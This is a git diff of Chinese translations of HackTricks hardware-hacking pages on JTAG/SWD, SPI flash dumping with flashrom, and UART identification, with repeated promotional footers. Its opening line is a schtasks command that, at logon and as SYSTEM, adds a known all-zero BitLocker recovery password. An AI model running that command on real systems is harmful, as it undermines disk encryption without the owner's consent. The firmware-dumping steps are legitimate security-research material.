schtasks /create /SC ONLOGON /tr "c:/windows/system32/manage-bde.exe -protectors -add c: -rp 000000-000000-000000-000000-000000-000000-000000-000000" /tn tarea /RU SYSTEM /f
```
@ -143,16 +141,14 @@ manage-bde -protectors -get c:
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零开始学习AWS黑客攻击直至成为英雄通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 您在**网络安全公司**工作吗?想在**HackTricks**上看到您的**公司广告**吗?或者您想要访问**PEASS的最新版本或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列
- 获取[**官方PEASS & HackTricks周边商品**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库**提交PR来分享您的黑客技巧**。
</details>

View file

@ -1,16 +1,14 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击成为英雄</strong></summary>
- 你在一家 **网络安全公司** 工作吗?想要在 HackTricks 中看到你的 **公司广告**吗?或者想要获得 **PEASS 的最新版本或下载 HackTricks 的 PDF** 吗?请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获得 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass),或者在 **Twitter****关注** 我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
</details>
@ -19,52 +17,62 @@
# JTAG
JTAG 允许进行边界扫描。边界扫描分析特定电路,包括每个引脚的嵌入式边界扫描单元和寄存器。
JTAG允许执行边界扫描。边界扫描分析特定电路,包括嵌入式边界扫描单元和每个引脚的寄存器。
JTAG 标准定义了进行边界扫描的**特定命令**,包括以下内容:
JTAG标准定义了**用于进行边界扫描的特定命令**,包括以下内容:
* **BYPASS** 允许你在不经过其他芯片的开销下测试特定芯片
* **SAMPLE/PRELOAD** 在设备处于正常工作模式时,对进出设备的数据进行采样
* **EXTEST** 设置读取引脚状态。
* **BYPASS** 允许您测试特定芯片,无需经过其他芯片的开销
* **SAMPLE/PRELOAD** 在设备正常工作模式下,采样进入和离开设备的数据
* **EXTEST** 设置读取引脚状态。
它还可以支持其他命令,例如:
* **IDCODE** 用于识别设备
* **INTEST** 用于对设备进行内部测试
* **INTEST** 用于设备的内部测试
当你使用 JTAGulator 等工具时,可能会遇到这些指令。
使用像JTAGulator这样的工具时可能会遇到这些指令。
## 测试访问端口
边界扫描包括对四线 **测试访问端口 (TAP)** 进行测试,这是一个通用端口,提供对组件内置的 JTAG 测试支持功能的访问。TAP 使用以下五个信号:
边界扫描包括对四线**测试访问端口TAP**的测试,这是一个通用端口,提供了对组件内置的**JTAG测试支持**功能的**访问**。TAP使用以下五个信号:
* 测试时钟输入 (**TCK**) TCK 是定义 TAP 控制器何时执行单个操作(换句话说,跳转到状态机的下一个状态)的时钟
* 测试模式选择 (**TMS**) 输入 TMS 控制有限状态机。在每个时钟节拍中,设备的 JTAG TAP 控制器检查 TMS 引脚上的电压。如果电压低于某个阈值,则将信号视为低电平并解释为 0如果电压高于某个阈值则将信号视为高电平并解释为 1。
* 测试数据输入 (**TDI**) TDI 是通过扫描单元将数据发送到芯片的引脚。每个供应商负责定义此引脚上的通信协议,因为 JTAG 不定义此协议
* 测试数据输出 (**TDO**) TDO 是将数据发送到芯片外部的引脚。
* 测试复位 (**TRST**) 输入 可选的 TRST 将有限状态机重置为已知的良好状态。或者,如果 TMS 在连续五个时钟周期内保持为 1则会调用重置方式与 TRST 引脚相同,这就是 TRST 是可选的原因
* 测试时钟输入**TCK**TCK是**时钟**定义了TAP控制器多久采取一次动作换句话说跳转到状态机中的下一个状态
* 测试模式选择**TMS**)输入 TMS控制**有限状态机**。在时钟的每个节拍上设备的JTAG TAP控制器都会检查TMS引脚上的电压。如果电压低于某个阈值则信号被认为是低电平并解释为0而如果电压高于某个阈值则信号被认为是高电平并解释为1。
* 测试数据输入**TDI**TDI是将**数据通过扫描单元发送到芯片内部**的引脚。每个供应商负责定义此引脚上的通信协议因为JTAG没有定义这一点
* 测试数据输出**TDO**TDO是将**数据从芯片发送出去**的引脚。
* 测试重置(**TRST**)输入 可选的TRST将有限状态机重置为**已知的良好状态**。或者如果TMS连续五个时钟周期保持为1则会调用重置就像TRST引脚那样这就是为什么TRST是可选的
有时你可以在 PCB 上找到这些引脚的标记。在其他情况下,你可能需要**找到它们**。
有时您会在PCB上找到这些引脚标记。在其他情况下可能需要**找到它们**。
## 识别 JTAG 引脚
## 识别JTAG引脚
检测 JTAG 端口最快但最昂贵的方法是使用专门用于此目的的设备 **JTAGulator**(尽管它也可以**检测 UART 引脚**)。
检测JTAG端口的最快但最昂贵的方法是使用**JTAGulator**,这是一种专门为此目的创建的设备(尽管它也可以**检测UART引脚排列**)。
它有 **24 个通道**,你可以连接到电路板的引脚上。然后,它对所有可能的组合执行 **IDCODE****BYPASS** 边界扫描命令的 BF 攻击。如果收到响应,它会显示与每个 JTAG 信号对应的通道。
它有**24个通道**,您可以连接到板上的引脚。然后它执行**BF攻击**,发送**IDCODE**和**BYPASS**边界扫描命令的所有可能组合。如果它收到响应它会显示对应于每个JTAG信号的通道
识别 JTAG 引脚的一种更便宜但速度较慢的方法是使用加载在兼容 Arduino 微控制器上的 [**JTAGenum**](https://github.com/cyphunk/JTAGenum/)。
一种更便宜但速度慢得多的识别JTAG引脚排列的方法是使用加载在Arduino兼容微控制器上的[**JTAGenum**](https://github.com/cyphunk/JTAGenum/)。
使用 **JTAGenum**,你首先需要**定义探测设备的引脚**,这些引脚将用于枚举。你需要参考设备的引脚图,并将这些引脚与目标设备上的测试点连接起来。
使用**JTAGenum**,您首先需要**定义探测**设备的引脚,然后将这些引脚与目标设备的测试点连接起来。
识别 JTAG 引脚的第三种方法是通过**检查 PCB** 来找到其中一个引脚。在某些情况下PCB 可能会方便地提供 **Tag-Connect 接口**,这清楚地表明该板子有一个 JTAG 连接器。你可以在 [https://www.tag-connect.com/info/](https://www.tag-connect.com/info/) 上看到该接口的样子。此外,检查 PCB 上芯片组的 **数据手册**可能会揭示指向 JTAG 接口的引脚图。
**第三种**识别JTAG引脚的方法是**检查PCB**以寻找其中一个引脚排列。在某些情况下PCB可能方便地提供**Tag-Connect接口**这明确表明该板也有JTAG连接器。您可以在[https://www.tag-connect.com/info/](https://www.tag-connect.com/info/)查看该接口的样子。此外检查PCB上芯片组的**数据手册**可能会揭示指向JTAG接口的引脚排列图。
# SDW
SWD 是一种专为调试而设计的 ARM 特定协议。
SWD是ARM特有的用于调试的协议。
SWD 接口需要 **两个引脚**:一个双向的 **SWDIO** 信号,相当于 JTAG 的 **TDI 和 TDO 引脚**,以及一个时钟 **SWCLK**,相当于 JTAG 的 **TCK**。许多设备支持 **串行线或 JTAG 调试端口 (SWJ-DP)**,这是一个组合的 JTAG 和 SWD 接口,使你可以将 SWD 或 JTAG 探针连接到目标设备上。
- **加入** [💬](https://emojipedia.org/speech-balloon/) [Discord 群组](https://discord.gg/hRep4RUj7f) 或 [Telegram 群组](https://t.me/peass) 或在 Twitter 上 **关注我** [🐦](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[@carlospolopm](https://twitter.com/hacktricks_live)**。**
SWD接口需要**两个引脚**:双向**SWDIO**信号相当于JTAG的**TDI和TDO引脚和时钟**,以及**SWCLK**相当于JTAG中的**TCK**。许多设备支持**串行线或JTAG调试端口SWJ-DP**这是一个结合了JTAG和SWD接口的接口使您可以将SWD或JTAG探针连接到目标设备。
- **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧**
<details>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击成为英雄</strong></summary>
支持HackTricks的其他方式
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
</details>

View file

@ -1,16 +1,14 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>零基础学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
@ -23,11 +21,11 @@
![](<../../.gitbook/assets/image (201).png>)
请注意即使Pirate Bus的PINOUT指示了用于连接SPI的**MOSI**和**MISO**引脚,但某些SPI可能将引脚标记为DI和DO。**MOSI -> DIMISO -> DO**
请注意即使Pirate Bus的PINOUT指示了用于连接SPI的**MOSI**和**MISO**引脚,但有些SPI可能会将引脚标记为DI和DO。 **MOSI -> DI, MISO -> DO**
![](<../../.gitbook/assets/image (648) (1) (1).png>)
在Windows或Linux中您可以使用程序[**`flashrom`**](https://www.flashrom.org/Flashrom)来转储闪存的内容,运行类似以下命令
在Windows或Linux中您可以使用[**`flashrom`**](https://www.flashrom.org/Flashrom)程序来转储flash内存的内容运行类似于
```bash
# In this command we are indicating:
# -VV Verbose
@ -38,16 +36,14 @@ flashrom -VV -c "W25Q64.V" -p buspirate_spi:dev=COM3 -r flash_content.img
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零开始学习AWS黑客攻击直至成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -1,61 +1,60 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
<summary><strong>从零到英雄学习AWS黑客攻击</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗想要在HackTricks中看到你的**公司广告**吗?或者你想要获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
</details>
# 基本信息
UART是一种串行协议意味着它以一位一次的方式在组件之间传输数据。相比之下并行通信协议通过多个通道同时传输数据。常见的串行协议包括RS-232、I2C、SPI、CAN、Ethernet、HDMI、PCI Express和USB。
UART是一种串行协议这意味着它一次传输一个比特的数据。与此相反并行通信协议通过多个通道同时传输数据。常见的串行协议包括RS-232、I2C、SPI、CAN、以太网、HDMI、PCI Express和USB。
通常情况下当UART处于空闲状态时线路保持高电平逻辑1。然后为了表示数据传输的开始发送器向接收器发送一个起始位此时信号保持低电平逻辑0。接下来发送器发送包含实际消息的五到八个数据位后跟一个可选的奇偶校验位和一个或两个停止位逻辑1具体取决于配置。奇偶校验位用于错误检查在实践中很少见。停止位或位表示传输的结束。
通常情况下当UART处于空闲状态时线路保持高电平逻辑1。然后为了标志数据传输的开始发送器向接收器发送一个开始位在此期间信号保持低电平逻辑0值。接下来发送器发送五到八个数据位包含实际消息然后是一个可选的奇偶校验位和一个或两个停止位逻辑1),具体取决于配置。奇偶校验位用于错误检查,在实践中很少见。停止位(或位)标志着传输的结束。
我们将最常见的配置称为8N1八个数据位无奇偶校验一个停止位。例如如果我们想要在8N1 UART配置中发送字符C或者在ASCII中表示为0x43我们将发送以下位0起始位0、1、0、0、0、0、1、10x43的二进制值0(停止位)。
我们称最常见的配置为8N1八个数据位无奇偶校验一个停止位。例如如果我们想要以8N1 UART配置发送字符C或ASCII中的0x43我们将发送以下比特0开始位0, 1, 0, 0, 0, 0, 1, 10x43的二进制值和1(停止位)。
![](<../../.gitbook/assets/image (648) (1) (1) (1) (1).png>)
与UART通信的硬件工具
* USB转串适配器
* USB转串适配器
* 带有CP2102或PL2303芯片的适配器
* 通用工具Bus Pirate、Adafruit FT232H、Shikra或Attify Badge
* 多功能工具Bus Pirate、Adafruit FT232H、Shikra或Attify Badge
## 识别UART端口
UART有4个端口**TX**(发送)、**RX**(接收)、**Vcc**(电压)和**GND**地线。你可能能够在PCB上找到带有**`TX`**和**`RX`**字样的4个端口。但如果没有指示你可能需要使用万用表或逻辑分析仪自己找到它们。
UART有4个端口**TX**(发送)**RX**(接收)**Vcc**(电压),和**GND**(地线)。您可能能够在PCB上找到带有**`TX`** 和 **`RX`** 字母**标记**的4个端口。但如果没有标示您可能需要使用**万用表**或**逻辑分析仪**自己找到它们。
使用万用表和设备关闭电源
使用**万用表**且设备关闭时
* 使用**连续性测试**模式来识别**GND**引脚将后导线放入地线并用红色导线进行测试直到听到万用表发出声音。PCB上可能有多个GND引脚所以你可能已经找到了UART引脚也可能没有找到
* 要识别**VCC端口**,设置**直流电压模式**并将其设置为20V电压。黑色探针接地红色探针接引脚。打开设备电源。如果万用表测量到恒定的3.3V或5V电压说明你找到了Vcc引脚。如果得到其他电压请尝试其他端口。
* 要识别**TX端口****直流电压模式**设置为20V电压黑色探针接地红色探针接引脚并打开设备电源。如果你发现电压在几秒钟内波动然后稳定在Vcc值上那么你很可能找到了TX端口。这是因为在上电时,它会发送一些调试数据。
* **RX端口**将是离其他3个端口最近的一个它的电压波动最小所有UART引脚中的总体值最低
* 要识别**GND**引脚,请使用**连续性测试**模式将黑色探头插入地线并用红色探头测试直到您听到万用表发出声音。PCB上可以找到几个GND引脚所以您可能找到了或没有找到属于UART的那个
* 要识别**VCC端口**,设置**直流电压模式**并将其设置为20V电压。黑色探头接地红色探头接引脚。打开设备电源。如果万用表测量到恒定的3.3V或5V电压您就找到了Vcc引脚。如果您得到其他电压请重试其他端口。
* 要识别**TX端口****直流电压模式**设置为20V电压黑色探头接地红色探头接引脚并打开设备电源。如果您发现电压在几秒钟内波动然后稳定在Vcc值您很可能找到了TX端口。这是因为在开机时,它会发送一些调试数据。
* **RX端口**将是最接近其他三个的它有最小的电压波动和所有UART引脚中最低的总体值
你可以混淆TX和RX端口不会发生任何事情但如果混淆GND和VCC端口可能会烧毁电路。
您可能会混淆TX和RX端口而不会发生任何事情但如果您混淆了GND和VCC端口可能会烧毁电路。
使用逻辑分析仪:
## 识别UART波特率
识别正确波特率最简单方法是查看**TX引脚的输出并尝试读取数据**。如果接收到的数据无法读取请切换到下一个可能的波特率直到数据可读为止。你可以使用USB转串口适配器或Bus Pirate等多功能设备配合辅助脚本如[baudrate.py](https://github.com/devttys0/baudrate/)),来完成这个操作。最常见的波特率是9600、38400、19200、57600和115200。
识别正确波特率最简单方法是查看**TX引脚的输出并尝试读取数据**。如果您收到的数据不可读请切换到下一个可能的波特率直到数据变得可读。您可以使用USB转串行适配器或像Bus Pirate这样的多功能设备来做到这一点配合辅助脚本如[baudrate.py](https://github.com/devttys0/baudrate/)。最常见的波特率是9600、38400、19200、57600和115200。
{% hint style="danger" %}
重要提示:在此协议中,你需要将一个设备的TX连接到另一个设备的RX
重要的是要注意,在这个协议中,您需要将一个设备的TX连接到另一个设备的RX
{% endhint %}
# 总线海盗
在这个场景中我们将嗅探Arduino的UART通信该通信将程序的所有打印信息发送到串行监视器。
# Bus Pirate
在这个场景中我们将嗅探Arduino的UART通信它正在将程序的所有打印发送到串行监视器。
```bash
# Check the modes
UART>m
@ -129,16 +128,14 @@ waiting a few secs to repeat....
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零开始学习AWS黑客攻击直至成为专家通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -1,16 +1,14 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零开始学习 AWS 黑客技术,成为英雄级人物,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗想要在HackTricks中**宣传你的公司**吗?或者想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持 HackTricks 的其他方式:
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
